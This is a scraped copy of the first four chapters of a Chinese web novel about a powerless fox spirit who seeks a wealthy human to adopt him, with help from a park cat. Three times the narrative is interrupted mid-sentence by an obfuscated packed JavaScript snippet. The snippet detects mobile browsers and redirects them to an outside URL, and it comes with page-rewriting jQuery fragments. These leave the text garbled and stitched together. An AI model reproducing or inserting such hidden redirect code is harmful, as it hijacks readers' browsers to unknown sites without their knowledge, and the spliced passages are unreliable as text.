《狐想养人真的好难》
1. 第 1 章
正是深秋时节,H市南郊公园被橙黄色的落叶覆盖,一眼望去整个公园都被染成斑驳的金黄色,美不胜收。
哪怕现在是工作日,还是有不少年轻人过来打卡赏秋。平日清净的公园人来人往络绎不绝,很是热闹。
谁也没有发现偏僻角落的假山里,有一双蓝色的圆眼睛正在滴溜溜地看着来来往往的人。
两个时辰了,怎么人越来越多了?
藏在假山里的小家伙皱了皱鼻子,不太明白为什么现在的人类这么闲,对着一些黑漆漆的东西摆好多个奇奇怪怪的姿势也不觉得累,一批走了下一批还来。
他们都不用去寻找食物的吗?
它悄悄调整了一下姿势,把蓬松的长尾巴抱住,试图缓解一下腹中的饥饿。
按照前两日的经验,这个园子还有半个时辰就会关闭了。
小家伙闭上眼,耐心等待。
外面熙熙攘攘的声音渐渐归于寂静,公园的工作人员巡逻完确定游客都离开后才锁上大门,只有几名值守的工作人员留在这里,沉入夜色的南郊公园是属于小动物们的世界。
假山周围的植物突然抖动几下,几乎在里面藏了一天的小家伙一跃而出,直直扑进了厚厚的落叶堆里。
是一只很漂亮的小狐狸。
小狐狸通体雪白,身上的毛发有些黯淡干枯,身形比常见的赤狐小很多,和成年缅因猫差不多大,身后那一条比它身形还大的蓬松尾巴格外显眼。
在落叶堆里痛痛快快滚了几圈,小狐狸才爬起来伸了个懒腰,圆润的蓝眼睛眯成弯弯的月牙,天生自带笑意。
抖抖身上的绒毛,饥肠辘辘胃提醒它该去找今天的晚餐了。
说是晚餐,其实也只是几个小果子。
它抬起爪子走向公园的后山,那里有不少果树,地上积了很多不知名的小浆果。
小小的身影在林中灵活地跃动,寻找还新鲜的果子。
小狐狸名叫云容,曾经是青丘山里年轻一辈最厉害的小狐妖,是同窝里唯一化为人形的,不过四百多岁就修出了八条尾巴,只差一条尾巴就能飞升成厉害的大狐仙,是山里所有小动物的希望。
直到他迎来狐生中最后一次雷劫。
不仅没有渡劫成功,还被劈没了修为,直接变回原来的狐身,连人话都讲不了。
最崩溃的是,他醒来后发现自己被劈到了人类的地盘。
他那么大那么漂亮的一座青丘山呢?!他那么宽敞温暖的洞府呢?!
没有修为,云容和普通的狐狸差不多,靠自己的力量自然是找不到回青丘山的方法的。
他只能挣扎着努力在人类世界活下去——首先要填饱肚子。
可云容修成人身后都是用法术辟谷,几百年没有捕猎了,又加上现在的体型只比幼崽形态大一些,捕猎简直比让狐上天还难。
大的猎物抓不到,野鸟山鸡之类的还是没问题的。至于在大部分狐狸食谱上的老鼠,就算是饿死,就算是把老鼠扔到他面前,云容也不会吃一口的。
小狐狸刚刚醒来的时候也尝试过捕猎,被他盯上的是一只胖嘟嘟的看上去口感就很软糯的长喉银尾山雀。
这鸟大概是伙食不错,肥嘟嘟的,比云容在青丘认识的鸟妖还要胖,几乎看不到下面的爪子,像个毛球一样扑棱着翅膀一蹦一跳在落叶里啄食。
过了几百年,这些鸟也没些长进,云容在它身后的灌木丛了待了好一会也没有被发现,正准备冲出去饱餐一顿,不远处一对母子的对话飘进狐狸耳朵里。
“妈妈,那只鸟好可爱啊!我想要我想要!”
旁边的女士毫不犹豫给儿子一个脑崩,“要个屁!抓了我们全家都得去坐牢,给我老实点!”
“你打我!我要告诉爸爸!”
“告啊,我一起打!”
母子俩的声音渐渐远去,准备冲出去的小狐狸僵在原地,瞳孔巨震。
怎么现在连吃只鸟都要蹲大牢了?!短短几百年,人类社会居然连鸟都不让吃了!
那小肥啾还在眼前蹦跶着,小狐狸咽了咽唾液,还是忍下了捕猎的冲动。
为了一顿饭蹲大牢,太不值得了。听说牢饭连浆果都没有,那他真得吃老鼠肉了。
云容只能委委屈屈地去找果子吃。
谨慎起见,第二次捕猎前他特地跑去偷听一下人类的谈话。
然后从那些捧着黑色奇怪的东西的老爷子嘴里得知,园子里的所有鸟都!不!能!吃!
吃了就会牢底坐穿!
你们两脚兽怎么回事?!
他用爪子摸了摸自己咕咕叫的胃,有点想念自己以前还没有化成人形在青丘山待的日子。
那会哪有那么多规矩,开心了就去抓个山鸡吃,不开心了就随便吃几个果子垫垫肚子,一睡就是一天。
收回飘远的思绪,云容愤愤地瞪了好多眼那些胖嘟嘟的肥啾,吸溜吸溜口水,转身去找果子。
可果子也只能当小零食,根本无法提供小狐狸所需要的营养,不过短短三两日,原本让狐自豪的像绸缎一样顺滑蓬松的皮毛也变得黯淡无光,灰扑扑的,埋进落叶堆里简直找不到狐影。
这样下去他会饿死的。
云容心疼地舔舔自己的尾巴尖,决定离开这个园子,去外面寻找食物。
却没想到现在的人类简直不用睡觉似的,连晚上都还有不少人出门,公园外车水马龙灯红酒绿的热闹让没见过世面的小狐狸大为震惊,才踏出栏杆的脚迅速收回,不带一丝犹豫转身跑回假山里藏起来。
花花绿绿的光线,比山还大的人脸画像,简直比妖怪还吓狐!
咕噜咕噜——
胃又不争气地叫起来,云容看了眼自己瘪瘪的肚子,决定去看看园子里别的小动物是怎么活下去的。
园子里除了他和那些鸟,还有不少猫猫狗狗,小狐狸蹲在灌木丛里看了一会后,选中了最肥的一只橘猫。
能把自己养出这么多肉,一看就知道吃得不错!
橘猫丝毫不知道自己已经被一只狐狸盯上了,它迈着小碎步颠颠地跑向熟悉的地点——这里是两脚兽常来投喂的地方,它凭借着体型优势,用最擅长的泰山压顶和其他猫打了好多架才把这个地盘抢到呢!
今天来投喂的两脚兽还没有到,橘猫也不急,Duang一下往地上一坐,身上的肉肉抖了抖,远远望去像一座小山。
云容诧异地瞪大眼,他活了几百年,还是第一次见到这么胖的猫。
但凡他有这只橘猫身上的一半肉肉,也不用愁马上到来的冬天了。
橘猫撇了眼小道,没有两脚兽的身影,于是把脚一抬,头一低,开始今天的舔毛。
云容眼睛都亮了,被馋得口水直流,好肥美的一个大鸡腿……
正在专心致志舔屁屁的橘猫突然一抖,用和它身形极不相符的动作灵活地站起来,大眼睛警惕地四面环视,它刚才察觉到了危险!
可周围什么都没有,橘猫迈着小短腿巡视了一圈周围,突然看到了一个身影,动作一顿,翘起尾巴喵喵喵地跑过去。
云容目露嫌弃,好谄媚的一只猫。
但几分钟后他就明白这只猫为什么会这么激动了,居然是有两脚兽过来投喂它!难怪长得这么胖!
小狐狸躲在暗处,好奇地看着来投喂的小姑娘从袋子里倒出颗粒状的东西,橘猫娇娆地喵呜几声在小姑娘的脚边蹭来蹭去,又打了几个滚后才去吃那些东西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370592|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
云容眯眼,那橘猫吃得还挺香。
也不知道那东西吃起来是什么味道……
因为公园里的猫不少,方知夏还用干净的一次性蛋糕碟倒了几分猫粮出来,她把猫粮藏在灌木丛里,摸摸橘猫的脑壳,“这些是留给其他小猫的哦,你都成大卡车了,不能再吃别的猫的了!”
橘猫敷衍地呜呜两下,吃得头也不抬。
方知夏叹口气,又给橘猫添了一些,以免它等自己离开后又偷吃留给别的小猫的猫粮。
橘猫很快就将猫粮小山横扫干净,女生摸了摸橘猫的头,哄着橘猫带她去找刚刚出生的那窝小猫,天气预报说这两日就会下雪,如果不及时把那窝小猫抓走找领养,怕是很难撑过这个寒冬。
吃人嘴短的橘猫伸了个懒腰,扭着圆滚滚的身体走在前面带路。
小姑娘和橘猫的身影渐渐消失在视线里,小狐狸又谨慎地等了一会,确定没人来才溜了出去。
秋天的深夜很冷,离开了灌木丛的遮挡,裹挟着落叶的夜风吹在小狐狸的身上,不似往日蓬松保暖的毛发被吹起,肉垫踩在冷硬的石砖上,云容忍不住打了个寒颤。
他望了眼天空,要下雪了啊。
青丘山的冬天不过才两个月,他都是在自己的洞府里闭关度过,等闭关结束后就是温暖的春天,并没有什么经验。
失去法力,云容一时竟不知道该如何才能平安度过在人类世界的冬天。
不过现在最重要的还是先填饱肚子。
确定周围安全,小狐狸蹦蹦跳跳地跑向藏着猫粮的灌木丛。
那些奇怪的东西还放在那里,黑色的小鼻子凑近嗅了嗅,又拉开距离,小狐狸疑惑歪头。
好奇怪,长得黑漆漆的,怎么会有肉香?
肚子又响起来了,想起橘猫刚才大口大口吞咽的模样,小狐狸舔舔鼻子,似乎终于下定了决心,叼起一粒。
一双漂亮的蓝眸瞬间亮起来!好吃!好好吃!不仅比他吃过的所有果子还好吃,口感还脆脆的!
世界上居然有这么好吃的东西,难怪橘猫会这么胖!
饿了两天的小狐狸咔嚓咔嚓咀嚼香喷喷的三文鱼猫粮,露在灌木丛外的蓬松尾巴欢快地来回摆动,远远望去像一团有生命的毛团。
小姑娘放了四份猫粮,云容三两口吃完了其中的两份,饿了两天的胃被填满了大半。
但是还没有饱。
小狐狸视线在空下来的纸碟子和满满当当的猫粮上来回转动,反反复复好几次,头顶的耳朵耷拉下来,终于下定了决心,往后退了几步,强迫自己离剩下的猫粮远一点。
刚才他听到小姑娘说园子里还有不少猫,他不能自己一只狐吃独食。
云容却没有立即离开,而是蹲坐在原地恋恋不舍地瞧着猫粮,探过头深深嗅了一下猫粮的香味,仿佛这样能望粮止饿。
好香啊……
不知道咽了多少次口水,小狐狸耷拉的耳朵突然立起来,像是小探测仪往两边转了转,飞快蹿回待了两天的假山里藏起来。
几分钟后,两道身影出现在昏黄的路灯下。
成功逮着小猫崽的方知夏去而复返,手里的航空箱传出尖尖细细的小猫叫。
这次收获颇丰,不仅把一窝小猫都抓住,连猫妈妈也进来了,一网打尽让她走路带风。
回去的路上经过投喂点,下意识地看了一眼刚刚放的猫粮,“咦?居然被吃了一半?难道有新来的猫了吗,吃得这么快。”
她一边碎碎念,又倒了些猫粮出来,“看来得抓紧时间继续抓了啊。”
刚才还是放松状态的橘猫认真嗅了嗅空气中残留的味道,警惕眯起眼。
这似乎……不是猫的味道。
2. 第 2 章
吃过一次猫粮后,云容一直对它的味道念念不忘,连新鲜的小浆果都不香了。
第二天的同一时间,躲在暗处的小狐狸等到投喂的小姑娘离开后,确定不会还有人来,迫不及待地跳出来朝那几份猫粮跑去。
大概是以为来了新猫,这次留下的猫粮格外多,甚至还有几条小鱼干。
小狐狸眼睛一亮,绕着猫粮转了一圈,轻轻晃了一下尾巴,挑了形状最好看的一份猫粮,低头专心吃起来。
美味的小鱼干让小狐狸漂亮的尾巴不住地摇晃,本来就蓬松的尾巴几乎被他摇出花来。
两脚兽(嚼嚼嚼)怎么就(嚼嚼嚼)研究出这么多(嚼嚼嚼)好吃的东西呢?
吃完一份,小狐狸意犹未尽舔舔嘴巴,抬起脑袋数了数,还剩下五份,他还可以多吃一份……一份半吧!
狐真的好饿。
选好了少点的那份,云容开心地晃晃尾巴。
“哪里来的小狗崽子,敢溜进我的地盘?”
身后突然传来粗哑的猫叫,云容一顿,回头望去,一只圆滚滚的橘猫正在气势汹汹用刀子眼瞪自己。
是昨天看到的那只大橘猫。
“你才是狗!”云容活了几百年还是第一次被当成狗,气得半死,他将身后的大尾巴甩出来,“看清楚,我是狐狸!”
狐、狐狸?
没见过狐狸的橘猫有些尴尬,它想起这里是自己的地盘,稍弱的气势又燃起来,它对小狐狸大声哈气,“都怪你长得那么像狗!”
“你才是狗!”不甘示弱的小狐狸也张开嘴骂骂咧咧,寂静的公园里一狐一猫啊啊喵喵对骂了好一会,也不知道是谁先伸出了爪子滚成一团,一时间猫毛和狐毛乱飞。
橘猫虽然体型大,但到底是打不过在山里野了几百年的小狐狸,短短十几个回合就被摁在了地上。
虽然修为尽失,但修炼过的身体底子还在,小狐狸对上橘猫毫无压力。
在附近凭借着体型优势战无不胜的大橘猫瞠目结舌,它怎么可能这么快就被打败了?!
“我不服!我还要再打一次喵!”
云容龇了龇小尖牙。
在夜色中白森森的獠牙和像鬼火一样幽幽的蓝色兽瞳撞入橘猫眼中。
惨败的橘猫终于想起以前听老猫说过猫在狐狸的食谱上,当即吓到飞机耳,软着嗓子喵喵求饶,“求求你了,不要吃我,我还是只单身猫!喵呜——嗷呜——”
想到隔壁小区对它爱答不理的漂亮三花猫,没有吃完偷偷藏起来的小鱼干、还有努力工作挣钱的铲屎官,大橘悲从中来,哭得一声肉肉直颤。
很久没有打过架的云容不知道自己轻轻松松就把这里的地头猫打败了,他皱脸看着脚下鬼哭狼嚎的大橘猫,面露嫌弃,“行,你回答我个问题,我就不吃你。”
听到这话的大橘瞬间停止了哀嚎,艰难地抬头,“真的吗?狐大王你别骗猫!”
云容没见过这么识趣的猫,他被这一声狐大王喊得极为舒坦,身上的每一根毛毛都舒展开了。
再喊喊,多喊喊,狐喜欢。
“当然。”云容矜持抬头,他是一个有原则的狐狸,“我从来不做骗人的事。”
“也不骗猫。”
他龇牙威胁,“不过,你要是敢骗我,我就吃了你!”
“那您可问对猫了,附近的情报网我认第二没有猫敢认第一。”橘猫得意摇尾巴,“您要问什么?”
“怎么样才能在人类世界活下去。”云容毫不犹豫问出纠结他好几天的问题。
还在得意洋洋摇晃的猫尾巴猛地停下,橘猫震惊地看着小狐狸“就这?”
就这?
小狐狸慢慢眯起眼睨它,“有问题?”
“没有没有,当然没有!”橘猫哪里敢说个不字,它还以为这只狐狸是和它一样想称霸一方当大王呢,没想到居然是问个这么简单的问题,
“让喵想想。”
橘猫绕着狐狸走了一圈,发现这只狐狸毛发虽然黯淡无光,身上连一点颜色都没有,但是长相是在猫界的审美都很好看的,小脸圆眼,自带眼线,还长了一条特别漂亮蓬松的尾巴,顿时有了主意,“这事好办,找个人类饲养你就可以了喵。”
云容狐疑看它:“人类愿意养狐狸?”
在他的认知里,狐狸在人类眼中就是阴险狡诈的代名词,要不就是像话本子里那样专门变成好看的模样去骗那些没钱没才的穷书生,总之几千年了就是没个好名声。
“当然愿意,人类无法拒绝毛绒绒的生物!”橘猫振振有词,“就连老鼠都有人养来做宠物呢。”
云容:“……”
小狐狸不解,小狐狸大受震撼。
现在的人类到底是种什么生物啊。
橘猫继续自顾自说下去,“像您这么好看的狐狸,尾巴又这么大,一出去保准有很多两脚兽想养的!”
一通不要钱的彩虹屁极为动听,小狐狸骄傲地挺起小胸膛,耳朵转动,想从橘猫嘴里再听多一点夸奖。
他长的好看,这副趾高气扬的小模样也是可爱得要命。
听完夸夸,云容才想起最关键的问题,“怎么样才能找到两脚兽养呢?”
他很清楚凭自己现在的本领在陌生的人类世界根本没办法活过这个冬天,找个人类当饲养者是最好的办法。
至于冬天过去后会怎么样,这种深奥的事情让春天的自己纠结去吧!
“您可问对猫啦。”被问到自己最擅长的点子上,橘猫得意地抖抖耳朵,“在我们猫猫界有句话,装模作样五分钟,荣华富贵十五年。”
“只要您蹭蹭两脚兽,再在他们面前打几个滚,嗲嗲地叫几声,那些两脚兽就会主动把你带回家,把食物呈上来。”
云容若有所思打量了会往那一坐就是一座山的橘猫,“你就是这样骗到自己的饲养者的?”
“什么叫骗!明明是他自己——”猫叫戛然而止,橘猫这才发现自己居然被一句话就把自己有铲屎官这事说出来了!附近的人都以为它是流浪猫才投喂的!
它没想到这只狐狸这么聪明,万一被经常投喂的两脚兽和铲屎官知道自己吃百家饭还了得?
铲屎官一定会把家里的门窗全部换一遍,它别想溜出来加餐了!
它一定要想办法把狐狸从自己的地盘里骗走!
“喵喵喵,先不说这个。”橘猫舔舔爪子掩饰尴尬,转移话题:“您想要什么样的铲屎官?”
“铲屎官?那是什么东西?”云容还是第一次听到这个不太文雅的词,怎么能把排泄物挂在嘴上?
“顾名思义,就是给我们铲屎的。”橘猫得意地翘翘胡须,“能养我们,是两脚兽的荣幸,怎么可以把他们当主人?”
橘猫越说越激动,直接站起来放言高论:“我们才是主人!我们才是大王!只有给我们奉上食物帮我们清理粑粑的两脚兽才有资格被封为铲屎官!这个给他们的恩赐!是他们的荣幸!”
从山里来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370593|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的土包子小狐狸第一次听到这种振奋狐心的发言,他畅想了一下以后会有两脚兽给自己奉上食物,不用再过上和流浪猫抢猫粮吃也不用睡在假山洞里的美好日子,激动到尾巴尖尖都忍不住颤抖。
世界上居然还有这么美好的事?
小狐狸舔舔鼻子,大胆说出了自己的要求,“那我的铲屎官要长得好看,还要有钱!”
修成人形的狐狸没有丑的,狐族爱美,自然要找个好看的人类做铲屎官。
云容再单纯也知道和话本子里那些蠢妖怪一样找个没钱的穷书生,是过不上吃饱喝足的好日子的。
橘猫有些为难,不少想养宠物的两脚兽都是普通的上班族,没钱也没时间溜狐狸,想找个有钱又愿意养狐狸的,还真不容易。
它看了一眼小狐狸,低下头一会,又抬起头看了一眼,欲喵又止。
小狐狸抖抖耳朵,“你想问什么就问吧。”
“有钱……您指的是多有钱啊?”它家铲屎官住的小区有钱人不少,但是还没听说过有人想养狐狸的,实在不行它再去别的地方打听打听。
“要能让我吃饱饭的!”小狐狸举起爪子挥挥,将自己的要求一一说出来,“不用我去捕猎,要天天都能吃上肉,如果是肥美的大鸡腿那就更好啦!”
还以为小狐狸会要求未来铲屎官富可敌国的橘猫呆住了,就这?
就这???
别说宠物了,就连周围的流浪猫也是三天两头被投喂肉肉的。
这狐狸打架这么厉害,怎么一点狐生追求都没有?
云容见橘猫不说话,还以为是自己提的要求太高了,气势弱了些,耳朵耷拉下来,“是、是要求太高了吗?实在不行的话,吃这种一粒粒的东西也可以的……”
也是哦,他上一次来人类世界的时候很多人连饭都吃不饱,比猴子还瘦,衣服也是破破烂烂的,更别说让养的宠物吃肉了。
不把宠物当食物吃就不错了。
“让猫想想有没有合适的人选。”橘猫眼珠子滴溜溜地转,想要把狐狸骗出自己的地盘,那人肯定不能从自家铲屎官的小区里选,甚至还要离这个公园远一点,又在自己的监视范围里。
还要有钱长得好看,这可还真不容易啊……这可真是为难死猫了。
橘猫身后甩动的尾巴突然顿住,想起还真有这么一个合适的人选!
“狐大王,我知道有个人很合适,很好看,又有钱。不过他的气势太奇怪了,我们这片的动物都不敢靠近,连鸟都是绕着他飞的。”橘猫问他,“您要去看看吗?”
云容犹豫了一下,“有多好看?有钱买肉吗?”
“可好看可好看,比猫的铲屎官差一点点。”见云容看它的眼神渐渐变了,橘猫惨叫一声,“不行!我家铲屎官答应过只会养我一个的!你不许和我抢铲屎官!”
被看透小心思的小狐狸移开目光,嘴里嘀嘀咕咕:“谁要和你抢铲屎官了,我也要只有我一个狐的铲屎官!”
橘猫努嘴,赶紧把小狐狸的注意力从自家铲屎官身上转走,“那个人不但帅!家里的院子比我家还要大,铲屎官和我说过他好有钱的!”
“最重要的是,他没有养过别的动物,连个苍蝇都没有。”橘猫不过核桃大的小脑袋瓜飞快转动,把铲屎官闲来无事的吐槽换成了赞美,费尽心思让小狐狸上钩。
云容果然心动了,“就这个就这个,快带我过去。”
橘猫主动走在前面带路,“请跟猫来~”
3. 第 3 章
有了原住民的带领,小狐狸不像之前那样害怕外面的世界,小脑袋谨慎又好奇地东张西望。
圆滚滚的猫腰一扭,带着和它体型不相符的灵活轻松跃上了旁边的高墙,抬起爪子才后知后觉狐狸跳不了这么高!
橘猫转过身,看到小狐狸两三下就跳了上来,站在它身后,仰起小尖脸催促它快点带路。
?!
原来狐狸的弹跳力也不输猫的吗?!
橘猫舔舔嘴,安慰自己会被这只新来的狐狸打败才不是什么丢猫的事。
云容自然也发现了橘猫毛脸上的惊讶,得意地摇摇尾巴,他可不是一般的狐狸~
别说上墙了,他以前可没少爬树。
此时月色当空,正是H市市民夜生活刚刚开始的时候,灯红酒绿,朝歌夜弦。
橘猫好歹还是记得不能让两脚兽瞧见一猫一狐在楼墙上如履平地的诡异画面,专门带小狐狸往人迹罕至的小巷子钻。
但动物不在它的考虑范围内。
它也算是体验了一把猫假狐威的感觉,在了不少猫猫狗狗目瞪口张的表情和崇拜的眼神中竖起尾巴。
云容跟在橘猫后面灵活上蹿下跳,由刚刚走出公园的震惊变到麻木。
可每一次见到新鲜事物时云容还是忍不住惊叹,人类世界发展得居然这么快,,每一样东西狐都没有见过!
橘猫对这里的环境很熟悉,直奔目标。
小狐狸跟在橘猫后面左钻右窜,不知道走了多久,他抖了抖隐隐作痛的爪子,前面的橘猫突然停了下来。
“狐大王,就是这里。”
一狐一猫躲在灌木丛里,云容眯眼打量不远处的灯火通明的院子,果然比他以往见过的不少院子都要大。
刚才来的路上他从橘猫嘴里了解了现在人类社会的基本情况,这个小区寸土寸金,这栋房子是所有房子里最大的,可见房子的主人条件很好。
也不知道能不能让狐天天都吃上鸡腿。
橘猫踩踩爪子,“你未来的铲屎官好像还没到家。”
云容矜持道:“我还没有看到他长什么样呢。”
狐可不喜欢丑的铲屎官。
橘猫深以为然,如果不是它家铲屎官长得好看,它早就把铲屎官弃养了。
夜色渐深,更加冷了,冷气不停灌进鼻腔里。两只毛茸茸挤在一起取暖,小狐狸蓬松的大尾巴一甩,就把俩只毛球盖在了下面。
橘猫有些感动,这小狐狸可真好,如果这个铲屎官不合适,那它再帮小狐狸找下一个铲屎官!
就在橘猫打了第五个小小的喷嚏时,寂静的院子终于有动静了。
一辆黑色的铁疙瘩——不对,应该说是小汽车缓缓驶入了它们的视野里,几名穿黑色衣服的彪形大汉从车里出来,在车门前围成一团。
等他们散开后,中间多出了一个坐着轮椅的男人。
男人五官长得很好看,眉目深邃,斜飞入鬓,薄唇高鼻,是云容见过的最好看的凡人。
即使现在是坐在轮椅上比周围的彪形大汉矮一头,也丝毫不减气势。
如果他能有这么好看的铲屎官,就算是吃饭也会更香吧。
小狐狸目不转睛盯着俊美的男人,“很好很好,我很满意,就是他啦!”
橘猫却有些犹豫,“你确定找他当铲屎官吗?”
云容疑惑歪头,“怎么啦?是有问题吗?”
看在这狐狸用尾巴给它取暖的份上,橘猫还是如实告知,“虽然有钱,但是听说这人脾气不好,靠近他的小动物都会被吓得直发抖,你要考虑清楚啊。”
“我考虑清楚啦。”小狐狸语气轻松,他抬抬爪子,“我可是有四条腿呢,他要是敢凶我,我就跑!”
他又不是普通的狐狸,怎么会像其他动物一样那么胆小。
云容态度坚决,橘猫也不再劝他,它看了一眼天色,快到铲屎官下班的时间了!
“那你自求多福,猫的铲屎官快回家了,我先走啦。”橘猫走了几步,又回过头,“南郊公园有一部分是我的地盘,你如果不喜欢这个铲屎官的话,就去找猫。”
橘猫高傲仰头,“猫在道上的名字叫丧彪!那一片的动物都认识我!”
好凶的名字!
小狐狸和它碰了一下爪子,“我叫云容。”
目送橘猫走远,小狐狸重新把注意力回到院子,怎么样才能引起那个男人的注意呢?
冒然冲出去?
不行,橘猫告诉他那些大汉是男人的护卫,还没有靠近狐就会被丢出去了。
小狐狸蹲下,用尾巴卷住自己,尾巴尖尖刚好可以放在前爪上,保暖又舒服。
只能等那些彪形大汉离开再找机会了。
他是一只很有耐心的狐狸。
被人推进屋内的谢砚突然回头,看向外面空无一人的房子,微蹙了下眉,眸光沉沉。
自从下车后他就一直觉得有道若有似无的视线锁定自己。
“派人去看看。”身后的助理张雨泽反应过来。
几名保镖巡查了一遍庭院,“先生,没有异常。”
谢砚不语,四下扫视了一圈,忽地对上一双蓝色的眼睛。
蓝色的、属于兽类独有的竖线瞳孔,在夜色中散发着幽光。
两道视线撞在一起,他看到那双蓝色轻轻眨了眨,微微弯起,带着期盼看向自己。
大概是附近的流浪猫。
谢砚收回目光,“你们先回去。”
靠谱的管家李叔接过轮椅,笑眯眯道:“先生就交给我吧。”
躲在灌木丛里的云容看到才进门的一行人又出来,关上院子的大门离开,他下意识往后躲了躲。
好险,他刚刚差点就被发现了。
但小狐狸又有些小得意,这么谨慎,差一点就发现自己,不愧被是他选中的铲屎官!
壮汉们都离开了,唯一可以看清院子情况的门被关闭。
小狐狸继续蹲在原地等待,直到房子二三楼的灯都熄灭了,这才伸了个懒腰,迈起有些发麻的爪子跑过去。
小跑到门前,看到明显被锁上的大门,小狐狸呆住了。
他站起来不信邪用爪子推了推,大铁门纹丝不动。
下面那小小的门缝刚刚好可以伸一个爪子进去,很明显不是留给狐钻的。
云容:......
此路不通!
但一定还有路!
小狐狸把目光放在围墙上。
又傻眼了。
这堵围墙比他刚才和橘猫翻的围墙高多了,顶部像长矛矛尖一样的尖锐金属寒光闪烁。
狐狸翻上去然后脚滑被扎成串串的画面一闪而过,吓得云容一抖,立刻放弃了翻墙的想法。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370594|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他是找铲屎官又不是找死。
云容绕着大院子的围墙走了一圈,终于在院子后面墙根底下的草丛中寻到了一个隐蔽的小洞。
小狐狸趴下,试图从那个小洞里钻进去,卡住了。
只有尖尖的鼻筒子成功进去,剩下的部位没有一点可以进去的可能性。
云容:......
应该没有人看见狐丢脸吧?!
他把鼻子收回来,抖抖脑袋抖干净脸上的泥土,又眯着眼打量了一会那个挑衅狐的小洞,冷冷一笑。
很好,让狐难堪,是要付出代价的!
小狐狸往后退了几步,抬高屁股,上半身俯在地上,瞄准了角度后,一跳——!
-
二楼的主卧,已经熄灯准备睡下的谢砚又收到了母亲江照月发来的信息,除了嘱托他注意受伤的脚外,还有一张红色的平安符的照片。
江照月:【儿砸啊,大师说了,你最近红鸾星动,一定要注意点周围的人啊,男生女生都没关系,是个人就行!】
【这是我和你爸花了大价钱给特意给你求的符,可灵了!你有空了回家拿一下啊。】
才二十八岁就被催婚的谢砚有些无奈,敷衍地回了个知道了。
正准备睡去,手机上的安保系统突然推送了一条信息,走廊也响起管家的脚步声。
他神色一凛,身上慵懒的气息荡然无存,仿佛瞬间变成一把即将出鞘的利剑,令人胆寒。
叩叩——
“少爷,有人闯进来了。”
谢砚慢慢挪到轮椅上,冷声道:“去看看。”
-
围墙的另一边,小狐狸的爪子快速在草地上刨动,就着那个小洞不断往下挖,很快就将两边挖通了,身后还堆起了一个小土坡。
他仿佛觉醒了什么天性,越挖越起劲,那个小洞越来越大,小狐狸伸长脑袋比划了一下,还差一点就可以将整个脑袋钻进去了。
狐狐,好样的!
云容思考了一下,决定还是不要让脑袋先钻进去了。
他不能做世界上第一个被卡在洞里的蠢狐狸!
小狐狸又挖了一会,确定不会卡住自己后,开始了自己的钻洞大计。
于是,墙后的两人看到这么诡异的一幕。
先是一条格外蓬松的大尾巴缓缓从那个洞穴里冒出来,等整条尾巴都钻进来后还得意地晃动了几下,两条长着粉色肉垫的腿伸出来踩了好几下空气才找到地面,然后是毛茸茸的犬科屁股,比那条尾巴还要瘦窄的腰,最后是兴奋到飞快抖动的大耳朵。
不是小偷,是只白色的小狐狸。
云容没想到自己进去的如此之顺利,整只狐都沉浸在兴奋之中,尾巴乱晃,耳朵尖尖开心到交叉。
狐狐,好样的!
在心里夸了自己一番的小狐狸美滋滋转过身,眼前一黑,直接撞到了一处硬物上。
云容:!
他被撞得头晕目眩,一天只吃了一小份猫粮,加上长久奔波,又挖了一个洞,原本就被劈得虚弱的身体终于到了极限,啪叽一下倒在了自己挖好的洞里。
管家李叔看看脚边的小狐狸,转过身和自家少爷对上视线,无辜举手:“我什么都没做,这只小狐狸自己撞上来的!”
谢砚:......
哪来的狐狸?挖他家墙根还敢碰瓷?
4. 第 4 章
一轮圆月悬挂在枝头,在地上一动不动的小狐狸洁白的毛发映射出月光一样的光泽。
两人并没有轻举妄动,李叔俯下身认真检查了一下,狐狸身上并没有携带什么电子设备和摄像头。
这只是一只普通的小白狐而已。
“少爷,怎么处理?”
谢砚看在地上卷成一团的小狐狸好一会,微微蹙了下眉,“先带回去,等他醒来再说。”
李叔俯身抱起地上的小狐狸,被手上轻飘飘的重量意外到了。
比猫重不了多少。
肚子瘪得厉害,毛发也黯淡无光,好像全身的营养都长在了尾巴那里,看来生活过得不算好,连吃饱饭都成问题。
李叔叹了口气,“这么瘦,不是野生的就是被家养被遗弃的,真是作孽哦。”
想起自家少爷从小猫憎狗嫌,李叔眼珠子一转,试探道:“少爷,要不要留下来养?”
谢砚控制的轮椅顿了一下,继续往屋内驶去,“野生白狐是国二保护动物,我还不想进去喝茶。”
李叔无话可说,手偷偷摸了一下小狐狸的尾巴,好蓬松的手感!
前面的轮椅突然停下,“观察一下,准备点食物和水。”
李叔点点头,正想找个地方把小狐狸放好,手上一空,转眼间坐在轮椅上的男人腿上就多出了一只小狐狸。
